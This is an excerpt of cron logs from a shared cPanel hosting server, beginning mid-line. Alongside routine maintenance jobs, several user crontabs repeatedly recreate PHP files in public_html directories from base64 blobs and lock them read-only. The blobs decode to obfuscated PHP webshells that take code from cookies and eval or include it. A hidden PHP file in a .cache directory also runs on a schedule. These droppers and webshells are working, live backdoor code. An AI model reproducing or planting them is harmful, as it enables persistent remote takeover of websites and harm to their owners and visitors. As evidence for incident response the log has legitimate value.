JQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:18:02 medusa CROND[25253]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:19:01 medusa CROND[15074]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/cron.php >> /dev/null 2>&1)
Mar  1 16:19:01 medusa CROND[15079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:19:01 medusa CROND[15132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:19:01 medusa CROND[15134]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:19:01 medusa CROND[15135]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:19:01 medusa CROND[15137]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 16:19:01 medusa CROND[15136]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:19:01 medusa CROND[15138]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:19:01 medusa CROND[15145]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:19:01 medusa CROND[15146]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:19:01 medusa CROND[15147]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:19:01 medusa CROND[15148]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:19:01 medusa CROND[15153]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:20:01 medusa CROND[5041]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 16:20:01 medusa CROND[5049]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:20:01 medusa CROND[5050]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 16:20:01 medusa CROND[5108]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 16:20:02 medusa CROND[5215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:20:02 medusa CROND[5216]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 16:20:02 medusa CROND[5218]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:20:02 medusa CROND[5219]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 16:20:02 medusa CROND[5222]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:20:02 medusa CROND[5223]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 16:20:02 medusa CROND[5224]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 16:20:02 medusa CROND[5225]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 16:20:02 medusa CROND[5241]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 16:20:02 medusa CROND[5244]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 16:20:02 medusa CROND[5245]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:20:02 medusa CROND[5246]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 16:20:02 medusa CROND[5249]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:20:02 medusa CROND[5250]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:20:02 medusa CROND[5256]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 16:20:02 medusa CROND[5255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 16:20:02 medusa CROND[5248]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 16:20:02 medusa CROND[5262]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:20:02 medusa CROND[5263]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:20:02 medusa CROND[5261]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:20:02 medusa CROND[5264]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 16:20:02 medusa CROND[5266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:20:02 medusa CROND[5267]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 16:20:02 medusa CROND[5268]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 16:20:02 medusa CROND[5265]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 16:20:02 medusa CROND[5286]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:21:01 medusa CROND[26974]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 16:21:01 medusa CROND[27031]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
